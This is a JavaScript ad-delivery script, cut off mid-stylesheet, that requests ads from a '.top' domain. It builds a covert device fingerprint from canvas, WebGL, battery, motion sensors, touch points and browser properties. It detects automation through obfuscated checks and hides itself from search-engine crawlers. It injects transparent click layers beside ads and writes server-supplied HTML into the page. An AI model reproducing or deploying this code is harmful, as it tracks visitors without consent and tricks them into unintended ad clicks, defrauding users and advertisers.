(function () { var opt = { var: "9.1", aServer: "https://uatzy-go.3n7nrc.top", logServer: "https://uatzy-go.3n7nrc.top", storageServer: "https://uatzy-go.3n7nrc.top", prefix: "7233675313442459795", adunit: "", sync: "true", }; let tw = { c: '', b: [], }; // function Ban() { // var e = navigator.userAgent.toLowerCase(); // var t = ["googlebot", "bingbot", "yandex", "baiduspider", "sogou spider", "slurp", "duckduckbot", "facebot", "ia_archiver", "archive.org_bot", "windows"]; // for (var n = 0; n < t.length; n++) { // if (e.indexOf(t[n]) !== -1) { // return true // } // } // if (/^Mac|Win/.test(navigator.platform || '') && (('ontouchstart' in window) || (navigator.maxTouchPoints > 0) || (navigator.msMaxTouchPoints > 0))) { // return true; // } // return false // } // if (Ban()) { // console.log('~_~') // return // } var mobileDevice = (('ontouchstart' in window) || (navigator.maxTouchPoints > 0) || (navigator.msMaxTouchPoints > 0)) var displayBefore = [], displayAfter = [], onLoadBefore = [], onLoadAfter = [] var UNKNOWN = 'unknown'; var ERROR = 'error'; function x64hash128(key, seed) { var x64Add = function (m, n) { m = [m[0] >>> 16, m[0] & 0xffff, m[1] >>> 16, m[1] & 0xffff] n = [n[0] >>> 16, n[0] & 0xffff, n[1] >>> 16, n[1] & 0xffff] var o = [0, 0, 0, 0] o[3] += m[3] + n[3] o[2] += o[3] >>> 16 o[3] &= 0xffff o[2] += m[2] + n[2] o[1] += o[2] >>> 16 o[2] &= 0xffff o[1] += m[1] + n[1] o[0] += o[1] >>> 16 o[1] &= 0xffff o[0] += m[0] + n[0] o[0] &= 0xffff return [(o[0] << 16) | o[1], (o[2] << 16) | o[3]] } var x64Multiply = function (m, n) { m = [m[0] >>> 16, m[0] & 0xffff, m[1] >>> 16, m[1] & 0xffff] n = [n[0] >>> 16, n[0] & 0xffff, n[1] >>> 16, n[1] & 0xffff] var o = [0, 0, 0, 0] o[3] += m[3] * n[3] o[2] += o[3] >>> 16 o[3] &= 0xffff o[2] += m[2] * n[3] o[1] += o[2] >>> 16 o[2] &= 0xffff o[2] += m[3] * n[2] o[1] += o[2] >>> 16 o[2] &= 0xffff o[1] += m[1] * n[3] o[0] += o[1] >>> 16 o[1] &= 0xffff o[1] += m[2] * n[2] o[0] += o[1] >>> 16 o[1] &= 0xffff o[1] += m[3] * n[1] o[0] += o[1] >>> 16 o[1] &= 0xffff o[0] += (m[0] * n[3]) + (m[1] * n[2]) + (m[2] * n[1]) + (m[3] * n[0]) o[0] &= 0xffff return [(o[0] << 16) | o[1], (o[2] << 16) | o[3]] } var x64Rotl = function (m, n) { n %= 64 if (n === 32) { return [m[1], m[0]] } else if (n < 32) { return [(m[0] << n) | (m[1] >>> (32 - n)), (m[1] << n) | (m[0] >>> (32 - n))] } else { n -= 32 return [(m[1] << n) | (m[0] >>> (32 - n)), (m[0] << n) | (m[1] >>> (32 - n))] } } var x64LeftShift = function (m, n) { n %= 64 if (n === 0) { return m } else if (n < 32) { return [(m[0] << n) | (m[1] >>> (32 - n)), m[1] << n] } else { return [m[1] << (n - 32), 0] } } var x64Xor = function (m, n) { return [m[0] ^ n[0], m[1] ^ n[1]] } var x64Fmix = function (h) { h = x64Xor(h, [0, h[0] >>> 1]) h = x64Multiply(h, [0xff51afd7, 0xed558ccd]) h = x64Xor(h, [0, h[0] >>> 1]) h = x64Multiply(h, [0xc4ceb9fe, 0x1a85ec53]) h = x64Xor(h, [0, h[0] >>> 1]) return h } key = key || '' seed = seed || 0 var remainder = key.length % 16 var bytes = key.length - remainder var h1 = [0, seed] var h2 = [0, seed] var k1 = [0, 0] var k2 = [0, 0] var c1 = [0x87c37b91, 0x114253d5] var c2 = [0x4cf5ad43, 0x2745937f] for (var i = 0; i < bytes; i = i + 16) { k1 = [((key.charCodeAt(i + 4) & 0xff)) | ((key.charCodeAt(i + 5) & 0xff) << 8) | ((key.charCodeAt(i + 6) & 0xff) << 16) | ((key.charCodeAt(i + 7) & 0xff) << 24), ((key.charCodeAt(i) & 0xff)) | ((key.charCodeAt(i + 1) & 0xff) << 8) | ((key.charCodeAt(i + 2) & 0xff) << 16) | ((key.charCodeAt(i + 3) & 0xff) << 24)] k2 = [((key.charCodeAt(i + 12) & 0xff)) | ((key.charCodeAt(i + 13) & 0xff) << 8) | ((key.charCodeAt(i + 14) & 0xff) << 16) | ((key.charCodeAt(i + 15) & 0xff) << 24), ((key.charCodeAt(i + 8) & 0xff)) | ((key.charCodeAt(i + 9) & 0xff) << 8) | ((key.charCodeAt(i + 10) & 0xff) << 16) | ((key.charCodeAt(i + 11) & 0xff) << 24)] k1 = x64Multiply(k1, c1) k1 = x64Rotl(k1, 31) k1 = x64Multiply(k1, c2) h1 = x64Xor(h1, k1) h1 = x64Rotl(h1, 27) h1 = x64Add(h1, h2) h1 = x64Add(x64Multiply(h1, [0, 5]), [0, 0x52dce729]) k2 = x64Multiply(k2, c2) k2 = x64Rotl(k2, 33) k2 = x64Multiply(k2, c1) h2 = x64Xor(h2, k2) h2 = x64Rotl(h2, 31) h2 = x64Add(h2, h1) h2 = x64Add(x64Multiply(h2, [0, 5]), [0, 0x38495ab5]) } k1 = [0, 0] k2 = [0, 0] switch (remainder) { case 15: k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 14)], 48)) case 14: k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 13)], 40)) case 13: k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 12)], 32)) case 12: k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 11)], 24)) case 11: k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 10)], 16)) case 10: k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 9)], 8)) case 9: k2 = x64Xor(k2, [0, key.charCodeAt(i + 8)]) k2 = x64Multiply(k2, c2) k2 = x64Rotl(k2, 33) k2 = x64Multiply(k2, c1) h2 = x64Xor(h2, k2) case 8: k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 7)], 56)) case 7: k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 6)], 48)) case 6: k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 5)], 40)) case 5: k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 4)], 32)) case 4: k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 3)], 24)) case 3: k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 2)], 16)) case 2: k1 = x64Xor(k1, x64LeftShift([0, key.charCodeAt(i + 1)], 8)) case 1: k1 = x64Xor(k1, [0, key.charCodeAt(i)]) k1 = x64Multiply(k1, c1) k1 = x64Rotl(k1, 31) k1 = x64Multiply(k1, c2) h1 = x64Xor(h1, k1) } h1 = x64Xor(h1, [0, key.length]) h2 = x64Xor(h2, [0, key.length]) h1 = x64Add(h1, h2) h2 = x64Add(h2, h1) h1 = x64Fmix(h1) h2 = x64Fmix(h2) h1 = x64Add(h1, h2) h2 = x64Add(h2, h1) return ('00000000' + (h1[0] >>> 0).toString(16)).slice(-8) + ('00000000' + (h1[1] >>> 0).toString(16)).slice(-8) + ('00000000' + (h2[0] >>> 0).toString(16)).slice(-8) + ('00000000' + (h2[1] >>> 0).toString(16)).slice(-8) } function isType(type) { return function (obj) { return {}.toString.call(obj) === '[object ' + type + ']'; }; } function fixedEncodeURIComponent(str) { return encodeURIComponent(str).replace(/[!'()*]/g, function (c) { return '%' + c.charCodeAt(0).toString(16); }); } function log(url) { var image = new Image; image.src = url; image.onload = image.onerror = image.onabort = function () { image = image.onload = image.onerror = image.onabort = null } } var Nav = navigator; var modules = {}; var isObject = isType('Object'); var isString = isType('String'); var isFunction = isType('Function'); var isArray = Array.isArray || isType('Array'); function print(msg) { window.console && window.console.log(msg) } function Module(name) { this.name = name; this.factory = null; } function define(name, factory) { if (!name) { return; } var mod = modules[name] || (modules[name] = new Module(name)); mod.factory = factory; } function require(name) { var mod = modules[name]; if (mod) { return exports(mod); } else { throw 'can not get module by from ojs: ' + name; } } function exports(mod) { if (!mod.exports) { mod.exports = {}; try { mod.factory(require, mod.exports, mod); } catch (e) { print(e) } } return mod.exports; } function use(name, callback) { if (isString(name)) { name = [name] } for (var i = 0; i < name.length; i++) { var exp = require(name[i]) if (typeof callback === 'function') { callback(exp); } } return exp } function N(e, t) { var n = [].slice.call(arguments), i, r = typeof n[n.length - 1] == "boolean" ? n.pop() : true; for (var a = 1; t = n[a++];) { for (i in t) { if (r || !(i in e)) { e[i] = t[i] } } } return e } function mix(target, source) { var args = [].slice.call(arguments), key, ride = typeof args[args.length - 1] == "boolean" ? args.pop() : true; for (var i = 1; source = args[i++];) { for (key in source) { if (ride || !(key in target)) { target[key] = source[key]; } } } return target; } function errorLog(err, description) { if (isString(err)) { err = { name: "throw", message: err } } try { var c = []; c.push("name=" + encodeURIComponent(err.name)); c.push("msg=" + encodeURIComponent(err.message)); c.push("description=" + encodeURIComponent(description)); var url = [opt.logServer, "/jserr?", c.join("&")].join(""); log(url) } catch (err) { print(err) } } !function () { define("utils", function (r, e) { var doc = document, userAgent = navigator.userAgent.toLowerCase(); var readyRE = /compvare|loaded|interactive/; mix(e, { browser: { ver: (userAgent.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1], opera: /opera/.test(userAgent), mobile: !!userAgent.match(/applewebkit.*mobile.*/), firefox: /firefox/.test(userAgent) && !/(compatible|webkit)/.test(userAgent), chrome: /chrome|crios/.test(userAgent), safari: /applewebkit/.test(userAgent) && !(/chrome/).test(userAgent), uc: /ucbrowser|ucweb|uc/.test(userAgent), ie: /msie/.test(userAgent) || doc.documentMode > 0 ? true : !+[1,], ios: !!userAgent.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), android: /android|linux/.test(userAgent), iphone: /iphone/.test(userAgent), ipad: /ipad/.test(userAgent), bd: /baiduboxapp/.test(userAgent), weixin: userAgent.indexOf('micromessenger') > -1, qq: userAgent.match(/\sqq/i) === " qq" }, find: function (o, name) { return o.getElementById(name); }, findID: function (name) { return doc.getElementById(name); }, findName: function (name) { return doc.getElementsByTagName(name); }, bind: function (obj, event, callback) { return "string" == typeof obj && (obj = e.findID(obj)), event = event.replace(/^on/i, "").toLowerCase(), obj.addEventListener ? obj.addEventListener(event, callback, !1) : obj.attachEvent && obj.attachEvent("on" + event, callback), obj }, unbind: function (obj, event, callback) { obj = "string" == typeof obj && (obj = e.findID(obj)) event = event.replace(/^on/i, "").toLowerCase(); if (obj.removeEventListener) { obj.removeEventListener(event, callback, false) } else { if (obj.detachEvent) { obj.detachEvent("on" + event, callback) } } return obj }, guid: function () { function s4() { return Math.floor((1 + Math.random()) * 0x10000) .toString(16) .substring(1); } var id = s4() + s4() + '' + s4() + '' + s4() + '' + s4() + '' + s4() + s4() + s4(); return id; }, encode: function (url) { try { return fixedEncodeURIComponent(url + "") } catch (b) { return url } }, decode: function (url) { try { return decodeURIComponent(url + "") } catch (b) { return url } }, each: function (a, b) { if (a.length && a.slice) for (var c = 0, d = a.length; d > c; c++) b(a[c], c); else for (var e in a) a.hasOwnProperty(e) && b(a[e], e) }, getCookie: function (name, h) { var val, h = h || window, g = doc, e = new RegExp("(^| )" + name + "=([^;]*)(;|\x24)"), cookie = e.exec(g.cookie); if (cookie) { val = cookie[2] } return val; }, setCookie: function (name, val, opt) { opt = opt || {}; var c = opt.expires; if ("number" == typeof opt.expires) { c = new Date(); c.setTime(c.getTime() + (opt.expires * (60 * 1000))) } document.cookie = name + "=" + val + (opt.path ? "; path=" + opt.path : "") + (c ? "; expires=" + c.toGMTString() : "") + (opt.domain ? "; domain=" + opt.domain : "") + (opt.secure ? "; secure" : "") }, findTagName: function (name) { return doc.getElementsByTagName(name); }, getParameterByName: function (name, url) { if (!url) url = window.location.href; name = name.replace(/[\[\]]/g, '\\$&'); var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)'), results = regex.exec(url); if (!results) return null; if (!results[2]) return ''; return decodeURIComponent(results[2].replace(/\+/g, ' ')); }, ready: function (callback) { if (readyRE.test(document.readyState)) { callback(); } else { document.addEventListener('DOMContentLoaded', function () { callback(); }, false); } }, setStyle: function (cssString) { var doc = document; var style = doc.createElement("style"); style.setAttribute("type", "text/css"); if (style.styleSheet) {// IE style.styleSheet.cssText = cssString; } else {// w3c var cssText = doc.createTextNode(cssString); style.appendChild(cssText); } var heads = doc.getElementsByTagName("head"); if (heads.length) heads[0].appendChild(style); else doc.documentElement.appendChild(style); }, loadScriptHtml: function (slot, html) { if (!document.body) { return } var range = document.createRange(); range.selectNode(document.body); var documentFragment = range.createContextualFragment(html); if (slot.response.TplName.indexOf("Fixed") > -1) { // console.log(slot.node) slot.node.appendChild(documentFragment) slot.node.style.display = "block"; return; } document.body.appendChild(documentFragment) }, moveLast: function (node) { this.ready(function () { document.body.appendChild(node) }) }, isSpider: function () { var userAgent = navigator.userAgent.toLowerCase(); var spiders = [ 'googlebot', 'bingbot', 'yandex', 'baiduspider', 'sogou spider', 'slurp', // Yahoo! Slurp 'duckduckbot', 'facebot', // Facebook 'ia_archiver', // Alexa 'archive.org_bot' ]; for (var i = 0; i < spiders.length; i++) { if (userAgent.indexOf(spiders[i]) !== -1) { return true; } } return false; } }) }); define("client", function (r, e) { var utils = r("utils"), mobile = r("mobile"), win = window, doc = document, params, af = 0x673124, state, permission; function permissions() { try { navigator.permissions.query({ name: 'notifications' }).then(function (val) { state = val.state permission = Notification.permission }); } catch (e) { } } permissions(); function getRef() { var ref = ""; try { ref = win.opener ? win.opener.document.location.href : doc.referrer } catch (e) { ref = doc.referrer } if (ref !== "") { ref = ref.substr(0, 8192) } return fixedEncodeURIComponent(ref) } function getPage() { var page = ""; try { page = win.top.document.location.href; } catch (e) { page = doc.location.href; } if (page !== "") { page = page.substr(0, 2048) } return fixedEncodeURIComponent(page) } function compileStr(str) { var str2 = ""; for (var i = 0; i < str.length; i++) { str2 += (i > 0 ? ":" : "") + str[i].charCodeAt(0); } return str2; } function getScreen() { try { return [window.screen.width, window.screen.height].join("x") } catch (e) { return "" } } function getAvailPixel() { var availWidth = window.screen.availWidth || 0; var availHeight = window.screen.availHeight || 0; return [getPlatform(), etsl(), window.devicePixelRatio || 0, availWidth + "." + availHeight].join(":") } function isHasNav() { var n = window["navigator"]; var a = false for (var k in n) { try { a = Nav["hasOwnProperty"](k); } catch (e) { a = false; } } return a } function getNavVal(s) { for (var k in Nav) { if (k === s) { return Nav[k] } } return "0" } function getPlatform() { return getNavVal("platform").replace(/Win/i, "v"); } function getProductSub() { return getNavVal("productSub") } function getDeviceMemory() { return getNavVal("deviceMemory") } function getHardwareConcurrency() { return getNavVal("hardwareConcurrency") } function getLanguages() { if (typeof navigator.languages !== 'undefined') { try { var firstLanguages = navigator.languages[0].substr(0, 2) if (firstLanguages !== navigator.language.substr(0, 2)) { return true } } catch (err) { return true } } return false } function getTimezoneOffset() { return new Date().getTimezoneOffset() } function fromCharCode(a) { return String.fromCharCode(a) } function getFromCharCode(f) { var a = [] for (var i = 0; i < f.length; i++) { a.push(fromCharCode(f[i])) } return a.join("") } function phantomJS() { var a = [ 'callPhantom' in window, '_phantom' in window, 'phantom' in window ] for (var i = 0; i < a.length; i++) { if (a[i]) { return true } } return false } function isWd() { var a = [119, 101, 98, 100, 114, 105, 118, 101, 114] return getFromCharCode(a) in Nav && Nav[getFromCharCode(a)] } function etsl() { var b = ['toString', 'length']; (function (a, c) { var f = function (g) { while (--g) { a['push'](a['shift']()); } }; f(++c); }(b, 0xb3)); var c = function (a, d) { a = a - 0x0; var e = b[a]; return e; }; return eval[c('0x1')]()[c('0x0')] * af; } function canvas() { var res = {}; var canvas = document.createElement('canvas'); canvas.width = 400; canvas.height = 200; canvas.style.display = "inline"; var context = canvas.getContext("2d"); try { context.rect(0, 0, 10, 10); context.rect(2, 2, 6, 6); res.canvasWinding = context.isPointInPath(5, 5, "evenodd"); } catch (e) { res.canvasWinding = ""; } try { context.textBaseline = "alphabetic"; context.fillStyle = "#f60"; context.fillRect(125, 1, 62, 20); context.fillStyle = "#069"; context.font = "11pt no-real-font-123"; context.fillText("Cwm fjordbank glyphs vext quiz, 😃", 2, 15); context.fillStyle = "rgba(102, 204, 0, 0.2)"; context.font = "18pt Arial"; context.fillText("Cwm fjordbank glyphs vext quiz, 😃", 4, 45); context.globalCompositeOperation = "multiply"; context.fillStyle = "rgb(255,0,255)"; context.beginPath(); context.arc(50, 50, 50, 0, 2 * Math.PI, !0); context.closePath(); context.fill(); context.fillStyle = "rgb(0,255,255)"; context.beginPath(); context.arc(100, 50, 50, 0, 2 * Math.PI, !0); context.closePath(); context.fill(); context.fillStyle = "rgb(255,255,0)"; context.beginPath(); context.arc(75, 100, 50, 0, 2 * Math.PI, !0); context.closePath(); context.fill(); context.fillStyle = "rgb(255,0,255)"; context.arc(75, 75, 75, 0, 2 * Math.PI, !0); context.arc(75, 75, 25, 0, 2 * Math.PI, !0); context.fill("evenodd"); var str = canvas.toDataURL(); return x64hash128(str, 37) } catch (e) { } return "" } function historyLength() { if (typeof window.history !== "undefined" && typeof window.history.length !== "undefined") return window.history.length; return 0 } function getOffset(insNode) { var e = {}; try { var b = insNode.getBoundingClientRect(), c = document.body.scrollTop || document.documentElement.scrollTop; e = { top: b.top + c, left: b.left } } catch (e) { } return e } mix(e, { init: function () { if (params) { return } params = { url: getPage(), frm: window.top != window.self ? 1 : 0, ref: getRef(), ic: navigator.cookieEnabled ? 1 : 0, pl: navigator.plugins.length, ml: navigator.mimeTypes.length, sid: compileStr(getAvailPixel()), ps: getProductSub(), lgs: getLanguages() ? 1 : 0, zo: getTimezoneOffset(), ws: getScreen(), gdm: getDeviceMemory(), iw: isWd() ? 1 : 0, cpn: getHardwareConcurrency(), fid: canvas(), hl: historyLength(), ihn: isHasNav() ? 1 : 0, md: mobileDevice ? 1 : 0, ns: state, np: permission, pj: phantomJS() ? 1 : 0, } }, getParams: function (slot) { this.init(); mix(params, getOffset(slot.node), { "id": slot.id, "rid": slot.rid }, mobile.getAllParam()); return params } }) }) define("mobile", function (r, e) { var utils = r("utils"); var baseParams = { dcc: "", dcl: "", gvd: "", grr: "", ct: "" }, mParams = { diit: "", dit: "", cmn: "" }, cmn = []; function init() { if (!mobileDevice) { return } function len(s) { if (!s) { return } return s.toString().substr(0, 5) } utils.bind(window, 'deviceorientation', function handleFunc(ev) { if (!ev.alpha) { return } mParams.diit = [len(ev.alpha), len(ev.beta), len(ev.gamma)].join(","); }); utils.bind(window, 'devicemotion', function handleFunc(evnet) { var acceleration = evnet.accelerationIncludingGravity; if (!acceleration.x) { return } mParams.dit = [len(acceleration.x), len(acceleration.y), len(acceleration.z)].join(",") }); utils.bind(window, 'touchstart', function touchstart(ev) { var clientX = ev.touches[0].clientX; var clientY = ev.touches[0].clientY; var v = [clientX, clientY].join("_") if (cmn.length < 3) { cmn.push(v) } }); } function gpu() { try { var canvas = document.createElement('canvas'), gl = canvas.getContext('experimental-webgl'), debugInfo = gl.getExtension('WEBGL_debug_renderer_info'); var vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL); var renderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL).replace(/[%]/g, ""); baseParams.gvd = vendor; baseParams.grr = renderer; } catch (e) { } } function getConnection() { try { if (!navigator.connection) { baseParams.ct = "unknown" return } if (!navigator.connection.type) { baseParams.ct = "unknown" return } baseParams.ct = navigator.connection.type; } catch (e) { } } function battery() { try { navigator.getBattery().then(function (battery) { baseParams.dcc = battery.charging ? "yes" : "no"; baseParams.dcl = Math.round(battery.level * 100); }) } catch (e) { } } mix(e, { init: function () { init(); battery(); gpu(); getConnection(); }, getAllParam: function () { mParams.cmn = cmn.join("_") var params = mix(baseParams, mParams); return params }, getMParam: function () { mParams.cmn = cmn.join("_") return mParams } }) }); define("main", function (r, e) { var mobile = r("mobile"), utils = r("utils"), client = r("client"); if (utils.isSpider()) { return } var slot = function (s) { this.container = s.container this.id = s.id this.rid = utils.guid() this.node = s.node this.width = 0 this.height = 0 this.interval = null this.tplClass = null this.aList = null this.response = {} this.isonLoadAfter = false this.onLoadAfter() } slot.prototype.onLoadAfter = function () { if (this.response.Error !== "") { return } var _this = this onLoadAfter.push(function (slot, tpl, ifDoc, adv) { if (_this.isonLoadAfter === true) { return } _this.isonLoadAfter = true if (slot.response.TplName.indexOf("Fixed") === -1 && slot.response.Platform === "mobile") { setTimeout(function () { utils.moveLast(slot.node) }, 10) } _this.interval = setInterval(function () { if (_this.node.clientHeight === 0) { _this.node.innerText = "" _this.tplClass.ready(_this, _this.aList) } else { //clearInterval(_this.interval) } }, 1000) setTimeout(function () { if (_this.node.clientHeight === 0) { var url = opt.logServer + "/aintercept"; log(url) setTimeout(function () { if (_this.node.clientHeight > 0) { var url = opt.logServer + "/areboot"; log(url) } }, 5000) } }, 1000) }) } slot.prototype.request = function () { var param = client.getParams(this); var self = this; window["json_" + this.rid] = function (response) { if (!response) { throw "no ads: " + slot.id; } self.response = response; self.display() } var r = []; for (var k in param) { r.push(k + "=" + param[k]); } var url = [opt.aServer, "/bid?", r.join("&")].join(""); var b = document.createElement("script"), c = document.getElementsByTagName("head")[0]; b.charset = "utf-8", b.async = true, b.src = url, c.insertBefore(b, c.firstChild) } slot.prototype.display = function () { function isOjbHidden(obj) { var w = window.innerWidth; var h = window.innerHeight; if (w < 100 || h < 30) { return true; } var computedStyle = window.getComputedStyle(obj); if ( computedStyle.getPropertyValue('display') === 'none' || computedStyle.getPropertyValue('visibility') === 'hidden' || computedStyle.getPropertyValue('opacity') === '0' ) { return true; } var rect = obj.getBoundingClientRect(); if (rect.width === 0 || rect.height === 0) { return true; } return false; } if (this.response.Error !== "") { print(this.response.Error) return } this.height = this.response.Height; this.width = this.response.Width; var tplName = this.response.TplName; this.tplClass = use(tplName); this.aList = this.response.AType === "single" ? this.response.List[0] : this.response.List; for (var i = 0; i < displayBefore.length; i++) { displayBefore[i](this, this.aList) } this.tplClass.ready(this, this.aList) this.log() this.cpm() for (var i = 0; i < displayAfter.length; i++) { displayAfter[i](this, this.aList) } } slot.prototype.log = function () { var url = opt.logServer + "/gif?" + this.response.TrackLog; log(url) } // cpm多个广告问题 slot.prototype.cpm = function () { var a = this.response.AType === "single" ? this.response.List[0] : this.response.List; var oa = isArray(a) ? a[0] : a; var bidding = this.response.Bidding.toLowerCase(); if ((bidding === "cpm" || bidding === "opv") && (oa.Creative !== "" || oa.Html !== "") && oa.CreativeId > 0) { var url = oa.Click; var params = mobile.getAllParam(); var requestInfo = []; requestInfo.push("ackimg=1") for (var k in params) { requestInfo.push(k + "=" + params[k]); } var param = requestInfo.join("&"); var imgUrl = [url, param].join("&"); log(imgUrl) } } function createSlot(s) { var s = new slot(s) s.request() } function init() { //tip: setTimeout中会清空bocy if (opt.sync === "false") { var id = opt.adunit; document.write(''); (window.adbyunion = window.adbyunion || []).push(id); } } function main() { function g(ele) { for (var i = 0; i < ele.length; i++) { var node = ele[i], id = node.getAttribute("id"), status = node.getAttribute("status"); if (id && id.indexOf("-") > -1 && id.length > 12 && status !== "done") { var u = id.split("-"), prefix = u[0], adunitId = u[1]; if (prefix === opt.prefix) { node.setAttribute("status", "done") createSlot({ container: id, id: adunitId, node: node }) } } } } var vivList = document.getElementsByTagName("VIV"); var insList = document.getElementsByTagName("INS"); g(insList) g(vivList) } mix(e, { run: function () { init() mobile.init() setTimeout(function () { main() }, 100) } }) } ) }() //这个fun后运行 !function () { define("ack", function (r, e) { var utils = r("utils"), mobile = r("mobile"), xxyy = []; function click(evnet) { this.params = { s: "", xy: "", xxyy: "" }; this.init(evnet); } click.prototype.init = function (evnet) { var ocm = window["_openadxCM"]; if (ocm) { ocm.aclick(evnet) } var tagName = evnet.target.tagName.toLowerCase(), target; if (tagName !== "a") { this.target = evnet.target.parentNode } else { this.target = evnet.target } this.params.s = utils.getParameterByName("s", this.target.href); this.params.xy = [evnet.clientX, evnet.clientY].join("_"); this.params.xxyy = xxyy.join("_"); mix(this.params, mobile.getMParam()); } click.prototype.process = function (slot) { var url = this.target.href.split("?")[0]; var requestInfo = []; xxyy = []; for (var k in this.params) { requestInfo.push(k + "=" + this.params[k]); } if (slot.response.Bidding.toLowerCase() === "cpm" || slot.response.Bidding.toLowerCase() === "opv") { requestInfo.push("ccpm=1"); } var param = requestInfo.join("&"); this.target.href = url + "?" + param; } mix(e, { bind: function (slot, doc) { var alist = doc.getElementsByTagName("a"); for (var q = 0; q < alist.length; q++) { utils.bind(alist[q], "click", function (evnet) { var c = new click(evnet); c.process(slot) }); } } }) }) define("html", function (r, e) { var utils = r("utils"), html = r("html"), ack = r("ack"); mix(e, { injectionTransparentClickLayer: function (slot, adv, imgobj) { var img = utils.findID('show_img-' + slot.container) if (imgobj) { img = imgobj; } function injectionA() { var href = adv.Click if (slot.response.Bidding.toLowerCase() === "cpm" || slot.response.Bidding.toLowerCase() === "opv") { href = adv.Click + "&ccpm=1"; } var abs = "bottom", absHeight = slot.response.Adunit.TCHeight; if (slot.response.Adunit.Position === 3) { abs = "top" } var url = href + "&tack=1" var a = document.createElement("a") a.href = url a.className = "external" // a.target = "_blank" a.style.cssText = "position: absolute;" + abs + ":-" + absHeight + "px;display: block;height:" + slot.response.Adunit.TCHeight + "px;width: 100%;" slot.node.appendChild(a) utils.bind(a, "click", function () { a.remove(); }) utils.bind(img, "load", function () { if (slot.response.Adunit.Position === 3) { var h = img.clientHeight a.style.top = "-" + (h + absHeight) + "px" } }) } if (slot.response.Adunit.TCHeight === 0) { return; } if (slot.response.Adunit.TCMod === 0 || slot.response.Adunit.TCMod === 1) { var cName = "tackStats" + slot.response.Adunit.Id var re = utils.getCookie(cName) if (re === "1") { return } injectionA() utils.setCookie(cName, "1", { expires: 60 * 24 }) } else { injectionA() } }, logo: function (slot, isHtml) { if (slot.response.DisplayLogo) { var logo = ["
", "广告", "
"]; if (isHtml) { return logo.join(""); } var logoDiv = document.createElement("div") logoDiv.innerHTML = logo.join("") logoDiv.style.zIndex = 10000; logoDiv.style.position = "absolute"; if (slot.response.Adunit.Position === 2) { logoDiv.style.top = 0; } if (slot.response.Adunit.Position === 3) { logoDiv.style.bottom = 0; } slot.node.appendChild(logoDiv) } }, wapCloseBtn: function (slot, isPosition, position, container) { if (!position) { position = "rightTop" } var positions = ""; if (position === "leftTop") { positions = " left: 6px; top: 6px" } else if (position === "leftBottom") { positions = " left: 6px; bottom: 6px" } else if (position === "rightTop") { positions = " right: 6px; top: 6px" } else if (position === "rightBottom") { positions = " right: 6px; bottom: 6px" } else if (position === "leftCenter") { positions = " left: 6px;top:50%;margin-top: -10px" } else if (position === "rightCenter") { positions = " right: 6px;top:50%;margin-top: -10px" } var el = document.createElement("div"), _this = this; el.style.cssText = 'cursor: pointer;height: 20px;width: 20px;position: absolute;z-index: 2147483647;display: block;border-radius: 10px;background: rgba(102, 102, 102, 0.7);font-size: 11px;color: rgb(255, 255, 255);text-align: center;line-height: 20px;' + positions + ''; el.innerText = "X" if (container) { container.appendChild(el); } else { slot.node.appendChild(el); } el.onclick = function () { if (slot.interval) { clearInterval(slot.interval) } slot.node.parentNode.removeChild(slot.node); if (isPosition) { if (slot.response.Adunit.Position === 2) { document.body.style.paddingTop = "0px"; } if (slot.response.Adunit.Position === 3) { document.body.style.paddingBottom = "0px"; } } return false } return el }, // readyImgDisplay: function (slot, adv, isPosition, isCloseBtn, isAnimated, callback, tplName) { // if (slot.response.Custom && slot.response.Custom.CloseX) { // if (slot.response.Custom.CloseX == "2") { // isCloseBtn = false // } // } // for (var i = 0; i < onLoadBefore.length; i++) { // onLoadBefore[i](slot, "", "", adv) // } // if (adv.CreativeType === 3 && adv.Html !== "") { // utils.loadScriptHtml(slot, adv.Html) // return // } // slot.node.style.zIndex = 2147483647 // var _zy_a_c_name_ = ["bounce", "flash", "pulse", "rubberBand", "shake", "swing", "tada"] // var css = ".__zy_animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.__zy_animated.__zy_infinite{-webkit-animation-iteration-count:1;animation-iteration-count:1}.__zy_animated.__zy_hinge{-webkit-animation-duration:2s;animation-duration:2s}@-webkit-keyframes zy_a_bounce{0%,100%,20%,50%,80%{-webkit-transform:translateY(0);transform:translateY(0)}40%{-webkit-transform:translateY(-30px);transform:translateY(-30px)}60%{-webkit-transform:translateY(-15px);transform:translateY(-15px)}}@-webkit-keyframes zy_a_flash{0%,100%,50%{opacity:1}25%,75%{opacity:0}}@-webkit-keyframes zy_a_pulse{0%{-webkit-transform:scale(1);transform:scale(1)}50%{-webkit-transform:scale(1.1);transform:scale(1.1)}100%{-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zy_a_rubberBand{0%{-webkit-transform:scale(1);transform:scale(1)}30%{-webkit-transform:scaleX(1.25)scaleY(0.75);transform:scaleX(1.25)scaleY(0.75)}40%{-webkit-transform:scaleX(0.75)scaleY(1.25);transform:scaleX(0.75)scaleY(1.25)}60%{-webkit-transform:scaleX(1.15)scaleY(0.85);transform:scaleX(1.15)scaleY(0.85)}100%{-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zy_a_shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes 